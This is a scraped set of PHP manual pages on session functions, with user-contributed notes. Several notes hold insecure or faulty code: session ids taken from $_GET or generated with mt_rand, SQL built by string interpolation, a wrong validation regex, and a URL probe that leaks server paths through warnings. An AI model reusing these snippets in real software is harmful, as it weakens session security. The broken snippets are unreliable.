Get and/or set the current session name

session_module_name
session_regenerate_id
Session Functions
PHP Manual

session_name

(PHP 4, PHP 5)

session_name — Get and/or set the current session name

Description

string session_name ([ string $name ] )

session_name() returns the name of the current session. If name is given, session_name() will update the session name and return the old session name.

The session name is reset to the default value stored in session.name at request startup time. Thus, you need to call session_name() for every request (and before session_start() or session_register() are called).

Parameters

name

The session name references the name of the session, which is used in cookies and URLs (e.g. PHPSESSID). It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with enabled cookie warnings). If name is specified, the name of the current session is changed to its value.

Warning

The session name can't consist of digits only, at least one letter must be present. Otherwise a new session id is generated every time.

Return Values

Returns the name of the current session.

Examples

Example #1 session_name() example

<?php

/* set the session name to WebsiteID */

$previous_name = session_name("WebsiteID");

echo "The previous session name was $previous_name<br />";
?>

See Also

  • The session.name configuration directive

User Contributed Notes

Joseph Dalrymple 14-Apr-2011 11:52
For those wondering, this function is expensive!

On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds.
relsqui at chiliahedron dot com 20-Feb-2009 11:07
Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why.

Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it.
php at wiz dot cx 27-Sep-2008 08:36
if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks.

don't use a period in your session name.
xemc at yahoo dot com 26-Aug-2008 01:20
Here's a sample program I made to explore the operation of the session stuff.  One thing I wanted to do was switch sessions in the middle of a script - where session_name doesn't automatically create or resume the corresponding session id...  (anyone have a better idea?)

<?php
if ( $_REQUEST['sname'] ) {
    session_name($_REQUEST['sname']);
}
session_start();

$messages = "";
function show( $str ) {  global $messages;  $messages .= $str; }
function show_sess_vars() {
    foreach ( $_SESSION as $key => $val ) {
        show("Session var '$key': \t'$val'\n");
    }
}

show("Session name: \t" . session_name() . "\n");
show("Session ID: \t" . session_id() . "\n");
foreach ( $_REQUEST as $key => $val ) {
    if ( $key == 'regenerate' )
    {
        session_regenerate_id();
        show("session_regenerate_id();\n");
        show("Session name: \t" . session_name() . "\n");
        show("Session ID: \t" . session_id() . "\n");
    }
    else if ( $key == 'clear' )
    {
        $_SESSION = array();
        show("\$_SESSION = array();\n");
    }
    else if ( $key == 'switch' )
    {
        show("Will attempt to switch session name.. vars:\n");
        show_sess_vars();
        session_write_close();
        $res = session_name($val);
        show("session_name($val) - res: $res\n");
        session_start();
        show("Session name: \t" . session_name() . "\n");
        show("Session ID: \t" . session_id() . "\n");
    }
    else if ( $key == 'switch2' )
    {
        show("Will attempt to switch session name.. vars:\n");
        show_sess_vars();
        session_write_close();
        show("session_write_close();\n");

        $sess_id = $_COOKIE[$val];
        if ( $sess_id ) {
            show("session '$val' exists, resuming..\n");
            //unset($_SESSION);  // to make sure - this should be reloaded below
            session_name( $val );
            session_id( $sess_id );
            session_start();   // fills $_SESSION from the named session
        } else {
            show("creating new session '$val'...\n");
            session_name( $val );
            session_start();
            session_regenerate_id();  // create new (copy of old), leave old alone
            $_SESSION = array();  // wipe data clean for a fresh session
            show("regenerated ID and wiped SESSION superglobal\n");
        }
        show("Session name: \t" . session_name() . "\n");
        show("Session ID: \t" . session_id() . "\n");
    }
    else
    {
        if ( $_COOKIE[$key] ) {
            show("Cookie: \t'$key': \t'$val'\n");
        } else {
            show("Setting session var: \t'$key': \t'$val'\n");
            $_SESSION[$key] = $val;
        }
    }
}
show("----\nSession vars:\n");
show_sess_vars();
if ( false ) {
    session_write_close();

    session_name("edit_assembly");
    session_start();
    show("Session name: \t" . session_name() . "\n");
    show("Session ID: \t" . session_id() . "\n");
    show_sess_vars();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
    <title> PHP session testing </title>
    <style type='text/css'>
    body { background-color: gray; }
    #content { background-color: white;  width: 70%;  margin: 1em auto 1em auto;  padding: 2em;
               font-family: Verdana, monospace;  font-size: 10pt; }
    </style>
</head>
<body>

<div id='content'>

    <h1> PHP session test: </h1>

    <pre><?php echo $messages; ?></pre>

</div>
</body>
</html>
webmaster at nncoders dot de 26-Jun-2008 09:29
You can always just use "or".

@foo or bar();

When foo fails, (and the at still means don't print an error to the browser), the function bar will be executed.

<?php

    function errorhandler () { /* do something wild */ }

    @session_name('mysession') or errorhandler();

?>

Another live example would be
@mysql_query('show databases') or die(mysql_error());

When the execution fails, parameter die is called (with last mysql_error as given string parameter)
slave at codegrunt dot com 22-Dec-2004 02:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang 27-May-2004 01:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.
session_module_name
session_regenerate_id
Session Functions


Update the current session id with a newly generated one

session_name
session_register_shutdown
Session Functions
PHP Manual

session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5)

session_regenerate_id — Update the current session id with a newly generated one

Description

bool session_regenerate_id ([ bool $delete_old_session = false ] )

session_regenerate_id() will replace the current session id with a new one, and keep the current session information.

Parameters

delete_old_session

Whether to delete the old associated session file or not.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.3 | Since then, if session cookies are enabled, use of session_regenerate_id() will also submit a new session cookie with the new session id.
5.1.0 | Added the delete_old_session parameter.

Examples

Example #1 A session_regenerate_id() example

<?php
session_start();

$old_sessionid = session_id();

session_regenerate_id();

$new_sessionid = session_id();

echo "Old Session: $old_sessionid<br />";
echo "New Session: $new_sessionid<br />";

print_r($_SESSION);
?>

See Also

  • session_id() - Get and/or set the current session id
  • session_start() - Initialize session data
  • session_name() - Get and/or set the current session name

User Contributed Notes

gr at gr5 dot org 30-Aug-2011 06:57
If you are trying to maintain 2 active sessions don't use session_regenerate_id().  Especially if the first session is closed and it's time to open the second.  Because the session id is cached you also have to explicitly set it the second time.

<?php
session_name('PHPSESSID'); // redundant - here for clarity
session_start();
// ...do stuff
session_write_close();

// now switch to session 2...
session_name('PHPSESSID_2');
if (isset($_COOKIE['phpsessid_2']))
    session_id($_COOKIE['phpsessid_2']); // not doing this will simply reopen the first session again
else
    session_id(sha1(mt_rand()); // dont use session_regenerate_id() here.  Not creating a new id will create two cookies with same session id and same session variables
session_start();
// ... do stuff with session 2
session_write_close();
?>
Ben Johnson 04-Oct-2010 06:50
To "start a new session", try the following:

<?php
session_start();
session_regenerate_id();
session_destroy();
unset($_SESSION);
session_start();
?>
raido dot aasoja at gmail dot com 26-Sep-2010 11:28
A note on lost sessions and trying to fix it with session_regenerate_id:
Make sure that you're not trying to push SimpleXML object to the session. It just won't go without first converting it to array. :)
nico at anvilstudios dot co dot za 07-Sep-2010 12:52
In my code this function resulted in some Internet Explorer 8 browsers loosing their connection with the session. As mentioned above this is probably because the page reloads before the cookie is updated on the client side:

This is the only manual workaround that never produced this problem for me:
<?php
    $old_session = $_SESSION;
    session_write_close();
    session_id(sha1(mt_rand()));
    session_start();
    $_SESSION = $old_session;
?>
senyahnoj 15-May-2009 05:37
We've experienced problems with this function over HTTPS connections with Blackberry browsers.

Take the following code:

<?
session_start();
session_regenerate_id();
?>

This will send out the session cookie twice in the HTTP header and either the Blackberry browser or proxy server (I'm not sure which) doesn't get the most recently set cookie with the changed session id in it.

Allegedly this problem is fixed in later Blackberrys. More info:

http://tinyurl.com/oze3h4
tedivm at tedivm dot com 29-Dec-2008 06:36
I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things.

I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful.

<?php
function regenerateSession($reload = false)
{
    // This token is used by forms to prevent cross site forgery attempts
    if(!isset($_SESSION['nonce']) || $reload)
        $_SESSION['nonce'] = md5(microtime(true));

    if(!isset($_SESSION['IPaddress']) || $reload)
        $_SESSION['IPaddress'] = $_SERVER['REMOTE_ADDR'];

    if(!isset($_SESSION['userAgent']) || $reload)
        $_SESSION['userAgent'] = $_SERVER['HTTP_USER_AGENT'];

    //$_SESSION['user_id'] = $this->user->getId();

    // Set current session to expire in 1 minute
    $_SESSION['OBSOLETE'] = true;
    $_SESSION['EXPIRES'] = time() + 60;

    // Create new session without destroying the old one
    session_regenerate_id(false);

    // Grab current session ID and close both sessions to allow other scripts to use them
    $newSession = session_id();
    session_write_close();

    // Set session ID to the new one, and start it back up again
    session_id($newSession);
    session_start();

    // Don't want this one to expire
    unset($_SESSION['OBSOLETE']);
    unset($_SESSION['EXPIRES']);
}

function checkSession()
{
    try{
        if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time()))
            throw new Exception('Attempt to use expired session.');

        if(!is_numeric($_SESSION['user_id']))
            throw new Exception('No session started.');

        if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR'])
            throw new Exception('IP Address mixmatch (possible session hijacking attempt).');

        if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT'])
            throw new Exception('Useragent mixmatch (possible session hijacking attempt).');

        if(!$this->loadUser($_SESSION['user_id']))
            throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']);

        if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1)
        {
            $this->regenerateSession();
        }

        return true;

    }catch(Exception $e){
        return false;
    }
}

?>
soapergem at gmail dot com 29-Aug-2008 03:50
This can be a very dangerous function if you're not careful about how you handle things, because even though it generates a whole new set of session data, it keeps the old data "open" until the script terminates, locking out any other scripts trying to run concurrently with the old session id.

Recently I came across a situation where I wanted to explicitly pass in a session ID, copy the data from that session into a *new* session, and then continue operating under that new session, thereby allowing other scripts to use the old one concurrently. But I quickly found that these "other scripts" would not execute until the first script finished--even though it had already started a new session--because it kept the old session open.

So if you're trying to copy over session data to a new session to free up the old session for continued, concurrent use, here's some code to ensure nobody's feet get stepped on:

<?php

//  get session id of an existing session
$sid = $_GET['sid'];

//  start the old session to retrieve $_SESSION data
session_id($sid);
session_start();

//  start a new session; this copies the $_SESSION data over
session_regenerate_id();

//  hang on to the new session id
$sid = session_id();

//  close the old and new sessions
session_write_close();

//  re-open the new session
session_id($sid);
session_start();

/* main code here */

?>

This could probably be encapsulated into a function with one parameter as well to save space if it was a repeated thing.
Kyle 04-Jul-2008 01:23
The problem of sessions being lost with small page reloads mentioned by "spam1 at dyden dot de" definitely exists (semi-solution below). It's easy to recreate by just creating a small script and hammering refresh. It may seem like you have to get up to ridiculous speeds to make it happen, but that's not so in the real world with a large framework, xmlhttprequests, dynamic images etc all going off. I've recreated it on a multitude of servers, OSs and versions of PHP and I'm glad to finally find someone else who has the same problem!

The cause seems to simply be the user's browser not saving the updated cookie fast enough between pages. There isn't much that PHP itself can do to solve it (except maybe to keep X number of session files per user, rather than immediately deleting the old one).

The simplest solution is to set delete_old_session to false, so when the second, third, etc requests go off with the old sessionid then the file is still available on the server. If you must use it with true then only do it during important operations like login, logout, etc. Problems will still exist but it'll be sporadic enough to prevent your user's from hammering support.
spam1 at dyden dot de 15-Jun-2008 07:48
The problem I posted about below (sessions lost because of small reload intervals) also happens with dynamically generated images (using the session of course).

I didn't think that it was such a big problem before, but now I had this problem again if I simply had three dynamically generated stats graphs on one page. The images are of course downloaded near-simultaneously, which in turn leads to one of them having a different session id than the other -> killing the session.
primenetworkzx at gmail dot com 14-Jun-2008 11:40
If you are storing your session data in a database you have to manually update the session_id in the database. The session_set_save_handler() will not do it for you.

function UpdateSessID() {
    $old_sess_id = session_id();
    session_regenerate_id(false);
    $new_sess_id = session_id();

    $query = "UPDATE `session_table` SET `session_id` = '$new_sess_id' WHERE session_id = '$old_sess_id'";
        mysql_query($query);
}

Be sure to set session_regenerate_id() to FALSE since it's not really necessary to delete the whole record from MySQL and add it again. That's unnecessary overhead. Only changing the id matters.
mitchell dot beaumont at mitchellbeaumont dot com 26-Feb-2008 05:50
When using session_set_save_handler the $delete_old_session parameter does not seem to work on php 4.3.9. It is important to delete the old data for security, this is possible to do without reloading. Where $session->destroy is my $destroy callback used in session_set_save_handler:

session_start();
$session_id = session_id();
session_regenerate_id(TRUE);
$session->destroy( $session_id );
spam1 at dyden dot de 18-Feb-2008 02:05
When loading pages with a session call simultaneously oder immediately following each other (or reloading the same page extremely quickly) and using session_regenerate_id(), the second request will still have the old session id, so it'll lose all data.
In my case, the user will be logged out, if the data is not what I expect it to be.
I had this problem for a long time until I figured out that session_regenerate_id() was the culprit.
I doubt that there is an easy fix, maybe calling session_commit() early can make the possible reload interval even smaller, but if the change isn't big, I'll simply leave session_regenerate_id() out, because the data I handle is not extremely secure, but there might be reloads in really short intervals (Ajax app.).
dbks at dbks dot com dot ar 08-Sep-2007 09:58
I wish to force.open.eyes=1 to all of you (like me 5 minutes ago) Didnt noticed the title, (i can see that some of you guys didnt too)

session_regenerate_id();

ok read it again,

session_regenerate_id (------);

param (TRUE) / (FALSE {default})

ok, now you have a clue lol :p
for all of you guys (fast readers) that are trying to set the old id to a variable and then regenerate, and then save the new id on a new var, and then set the actual session to the old id, Destroy it, and then set the session to the new id... blabla

session_regenerate_id (TRUE);

will do the job easier !!

-param Bool for deleting old session-

works perfect, enjoy lol
27-Apr-2007 02:47
In php help manual it mention like session_regerate_id() works for version (PHP 4 >= 4.3.2). But it is not working in 4.2.2 itself. So I did google search I found abou the user defined function session_regerate_id in this site. I used it. O.k it is working good.

           Thank you,
buraks78 at gmail dot com 17-Aug-2006 11:00
If you are using cookies to store session ids and your php version
is 4.3.2, session_regenerate_id() will not issue a cookie with the
new id resulting in authentication failures.

Here is my fix

session_regenerate_id();
if(!version_compare(phpversion(),"4.3.3",">=")){
   setcookie(
      session_name(),
      session_id(),
      ini_get("session.cookie_lifetime"),
      "/"
   );
}
Gant at BleachEatingFreaks dot com 24-Jan-2006 12:57
I am calling session_regenerate_id() from inside a method in an object.  Since session fixation can occur at permission changes, I have my object call session fixation at these particular security changes.

Unfortunately, it seems to fabricate some kind of temporary new session, and then the very next page that loads, it jumps back to the old session id.  There seems to be no way to make the regeneration perminent.
frank 08-Jan-2006 05:56
session_regenerate_id(); not present and still want to change
session id's - below a function which will do the same
<?php

function sessie_regenerate_id() {
    $randlen = 32;
    $randval = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $random = "";
    for ($i = 1; $i <= $randlen; $i++) {
        $random .= substr($randval, rand(0,(strlen($randval) - 1)), 1);
    }
    // use md5 value for id or remove capitals from string $randval
    // $random = md5($random);
    if (session_id($random)) {
        return true;
    } else {
        return false;
    }
}
if (!function_exists("session_regenerate_id")) {
    sessie_regenerate_id();
} else {
    session_regenerate_id();
}

?>
sopel 19-Sep-2005 05:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com 24-Aug-2005 10:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
18-Jul-2005 08:39
It would be more reliable to use the following regular expression when checking session_ids, as HEX strings (MD5) are only of characters a-f and 0-9;

preg_match('/[0-f]/i', $session_id);
Nicolas dot Chachereau at Infomaniak dot ch 02-Jun-2005 11:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee 16-Jan-2005 05:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com 06-Jan-2005 08:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de 20-Dec-2004 09:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org 15-Nov-2004 03:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl 28-Oct-2004 02:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
    session_start();
    session_regenerate_id();
    session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
    session_start();
    session_regenerate_id();
    header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
    session_start();
    session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
timo at frenay dot net 26-Aug-2004 11:32
This function is vital in preventing session fixation attacks, but is unfortunately missing in PHP versions prior to 4.3.2. This creates a serious security problem if you can't update your PHP version, like me. Therefore I attempted to port this function to PHP itself:

<?php
    if (!function_exists('session_regenerate_id')) {
        function php_combined_lcg() {
            $tv = gettimeofday();
            $lcg['s1'] = $tv['sec'] ^ (~$tv['usec']);
            $lcg['s2'] = posix_getpid();

            $q = (int) ($lcg['s1'] / 53668);
            $lcg['s1'] = (int) (40014 * ($lcg['s1'] - 53668 * $q) - 12211 * $q);
            if ($lcg['s1'] < 0)
                $lcg['s1'] += 2147483563;

            $q = (int) ($lcg['s2'] / 52774);
            $lcg['s2'] = (int) (40692 * ($lcg['s2'] - 52774 * $q) - 3791 * $q);
            if ($lcg['s2'] < 0)
                $lcg['s2'] += 2147483399;

            $z = (int) ($lcg['s1'] - $lcg['s2']);
            if ($z < 1) {
                $z += 2147483562;
            }

            return $z * 4.656613e-10;
        }

        function session_regenerate_id() {
            $tv = gettimeofday();
            $buf = sprintf("%.15s%ld%ld%0.8f", $_SERVER['REMOTE_ADDR'], $tv['sec'], $tv['usec'], php_combined_lcg() * 10);
            session_id(md5($buf));
            if (ini_get('session.use_cookies'))
                setcookie('PHPSESSID', session_id(), NULL, '/');
            return TRUE;
        }
    }
?>

To test this:
<?php
    session_start();
    $sid = session_id();
    session_regenerate_id();
    echo "Old session ID: ", $sid, "\nNew session ID: ", session_id(), "\n";
?>

- will output something similar to:
Old session ID: 6e3521f44be4fc452b368e703f044ca1
New session ID: 1c6dac9a3e794f164d4115872b902471
babel at nosqamplease sympatico ca 22-Feb-2004 08:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de 05-Sep-2003 06:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
    if(
            (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
    ) {
        session_regenerate_id();
        session_unset();
    }
} else {
    $currentdata = array();
    $currentdata['host'] = $this->host;
    $currentdata['dns'] = $this->dns;
    $currentdata['useragent'] = $this->useragent;

    session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he can´t be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk 27-Aug-2003 07:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

    // Output a warning about the messed up session-id.
    $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

    // Generate a fresh session-id.
    session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.
session_name
session_register_shutdown
Session Functions


Session shutdown function

session_regenerate_id
session_register
Session Functions
PHP Manual

session_register_shutdown

(PHP >=5.4.0)

session_register_shutdown — Session shutdown function

Description

void session_register_shutdown ( void )

Registers session_write_close() as a shutdown function.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if registering the shutdown function fails.

User Contributed Notes

There are no user contributed notes for this page.
session_regenerate_id
session_register
Session Functions


Register one or more global variables with the current session

session_register_shutdown
session_save_path
Session Functions
PHP Manual

session_register

(PHP 4, PHP 5)

session_register — Register one or more global variables with the current session

Description

bool session_register ( mixed $name [, mixed $... ] )

session_register() accepts a variable number of arguments, any of which can be either a string holding the name of a variable or an array consisting of variable names or other arrays. For each name, session_register() registers the global variable with that name in the current session.

You can also create a session variable by simply setting the appropriate member of the $_SESSION or $HTTP_SESSION_VARS (PHP < 4.1.0) array.

<?php
// Use of session_register() is deprecated
$barney = "A big purple dinosaur.";
session_register("barney");

// Use of $_SESSION is preferred, as of PHP 4.1.0
$_SESSION["zim"] = "An invader from another planet.";

// The old way was to use $HTTP_SESSION_VARS
$HTTP_SESSION_VARS["spongebob"] = "He's got square pants.";
?>

If session_start() was not called before this function is called, an implicit call to session_start() with no parameters will be made. $_SESSION does not mimic this behavior and requires session_start() before use.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

name

A string holding the name of a variable or an array consisting of variable names or other arrays.

...

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Caution

If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled.

Note: register_globals: important note

As of PHP 4.2.0, the default value for the PHP directive register_globals is off. The PHP community discourages developers from relying on this directive, and encourages the use of other means, such as the superglobals.

Caution

This registers a global variable. If you want to register a session variable from within a function, you need to make sure to make it global using the global keyword or the $GLOBALS[] array, or use the special session arrays as noted below.

Caution

If you are using $_SESSION
(or $HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered(), and
session_unregister().

Note:

It is currently impossible to register resource variables in a session. For example, you cannot create a connection to a database and store the connection id as a session variable and expect the connection to still be valid the next time the session is restored. PHP functions that return a resource are identified by having a return type of resource in their function definition. A list of functions that return resources are available in the resource types appendix.

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, assign values to $_SESSION. For example: $_SESSION['var'] = 'ABC';

See Also

  • session_is_registered() - Find out whether a global variable is registered in a session
  • session_unregister() - Unregister a global variable from the current session
  • $_SESSION

User Contributed Notes

klein at sup4u dot de 29-Jun-2011 04:42
in addition to function set_session_vars instead of replacing all $var with $_SESSION['var'],
 you could get all set session-vars in prevoius scripts with this function

<?php
function get_session_vars() {
    $nb_args=func_num_args();
    $arg_list=func_get_args();
    for($i=0;$i<$nb_args;$i++) {
        global $$arg_list[$i] = $_SESSION[$arg_list[$i]];
    }
}
?>
yarco dot w at gmail dot com 30-Sep-2010 08:17
You *MUST* notice that

session_register($var)

*IS NOT*

$_SESSION[$var] = $$var;

it is

if (!isset($_SESSION[$var]))
  $_SESSION[$var] = $$var;

when migrating from old style code.
Ezion oudpapierdoos at gmail dot com 16-Feb-2010 06:38
Below is a fix that may be included in older code to make it work with PHP6.
When needed it recreates the functions
- session_register()
- session_is_registered()
- session_unregister()

The functions inside the function fix_session_register() are only available  after fix_session_register() has run.
Therefore in PHP<6 where there already is a session_register() nothing happens.

<?php
// Fix for removed Session functions
function fix_session_register(){
    function session_register(){
        $args = func_get_args();
        foreach ($args as $key){
            $_SESSION[$key]=$GLOBALS[$key];
        }
    }
    function session_is_registered($key){
        return isset($_SESSION[$key]);
    }
    function session_unregister($key){
        unset($_SESSION[$key]);
    }
}
if (!function_exists('session_register')) fix_session_register();
?>

[EDIT BY danbrown AT php DOT net: Bugfix provided by "dr3w" on 02-APR-2010: "its [sic] function_exists with an S at the end".]
Scarab 13-Nov-2009 01:14
If you want to store an  object into the session, you have to check up that object can be serialized at all.
For example, if your object contains aggregated PDO object (which can't be serialized), you will get an error and no data would be stored.
rob at akrabat dot com 14-Aug-2009 02:18
if you remove session_register() calls and replace with $_SESSION assignments, make sure that it wasn't being used in place of session_start(). If it was, you'll need to add a call to session_start() too, before you assign to $_SESSION.
david dot demri at gmail dot com 26-May-2009 07:15
If you have an old code with a lot of call to the function session_register(), and you would like to make it compatible with PHP5 or PHP6, instead of rewriting all your code by replacing this function by $_SESSION['var']="val"; you could use the function set_session_vars(), that is used exactly the same way than session_register() (but there is no implicit call to session_start() ).

<?php
function set_session_vars() {
    $nb_args=func_num_args();
    $arg_list=func_get_args();
    for($i=0;$i<$nb_args;$i++) {
        global $$arg_list[$i];
        $_SESSION[$arg_list[$i]] = $$arg_list[$i];
    }
}
?>
kavih7 at yahoo dot com 19-May-2009 04:15
For those of you who use this function (session_register that is), even though the manual does specify that this function implicitly calls session_start(), I just wanted to reiterate that fact. It is also important to know that if you ever switch from session_register to using $_SESSION, make sure to call session_start before adding items to the $_SESSION variable, because unlike session_register, no implicit call to session_start is done.

Another reason I explain this is because I ran into a problem in which you can add items to the $_SESSION variable all you want, but if session_start is not called before adding them, they will not actually be saved to the session. Using the same code, though, and replacing the $_SESSION assignments with session_register without calling session_start WILL save that info to the session.

It would be nice to have PHP check for writes to the $_SESSION variable and complain with a warning if session_start hasn't been called.
guideng at unlv dot nevada dot edu 01-Jun-2006 01:10
Make sure you put session_start() at the beggining of your script.

My sessions kept unsetting and I finally figured out why.

On my script, session_start() has to be said and uses cookies to set the session.

But I was outputting html prior to calling session_start(), which prevented it from succeeding becouse it uses the header function to place the cookies.

Once html has been outputed, session_start() can't use the header function to set cookies, hence session_start() fails and no session can be started.
martijn at brothersinart dot net 11-Apr-2006 02:04
Please note that if you use a "|" sign in a variable name your entire session will be cleared, so the example below will clear out all the contents of your session.

<?php
session_start();
$_SESSION["foo|bar"] = "foo";
?>

It took me quite some time finding out why my session data kept disappearing. According to this bugreport this behaviour is intended.
http://bugs.php.net/bug.php?id=33786
mikej 21-Nov-2004 01:40
I've noticed that if you try to assign a value to a session variable with a numeric name, the variable will not exist in future sessions.
For example, if you do something like:
session_start();
$_SESSION['14'] = "blah";
print_r($_SESSION);

It'll display:
Array ( [14] => "blah" )

But if on another page (with same session) you try
session_start();
print_r($_SESSION);

$_SESSION[14] will no longer exist.

Maybe everyone else already knows this, but I didn't realize it until messing around with a broken script for quite a while.
baldanders 12-Nov-2004 11:05
If you are using sessions and use session_register()  to register objects, these objects are serialized automatically at the end of each PHP page, and are unserialized automatically on each of the following pages. This basically means that these objects can show up on any of your pages once they become part of your session.
session_register_shutdown
session_save_path
Session Functions


Get and/or set the current session save path

session_register
session_set_cookie_params
Session Functions
PHP Manual

session_save_path

(PHP 4, PHP 5)

session_save_path — Get and/or set the current session save path

Description

string session_save_path ([ string $path ] )

session_save_path() returns the path of the current directory used to save session data.

Parameters

path

Session data path. If specified, the path to which data is saved will be changed. session_save_path() needs to be called before session_start() for that purpose.

Note:

On some operating systems, you may want to specify a path on a filesystem that handles lots of small files efficiently. For example, on Linux, reiserfs may provide better performance than ext2fs.

Return Values

Returns the path of the current directory used for data storage.

See Also

  • The session.save_path configuration directive

User Contributed Notes

branislav dot ristic at gmail dot com 01-Jun-2010 03:28
After a lot of searches, tests and pain, the only one that worked for me was this:

session_save_path(realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
alvaro at demogracia dot com 26-May-2010 03:42
Debian does not use the default garbage collector for sessions. Instead, it sets session.gc_probability to zero and it runs a cron job to clean up old session data in the default directory.

As a result, if your site sets a custom location with session_save_path() you also need to set a value for session.gc_probability, e.g.:

<?php
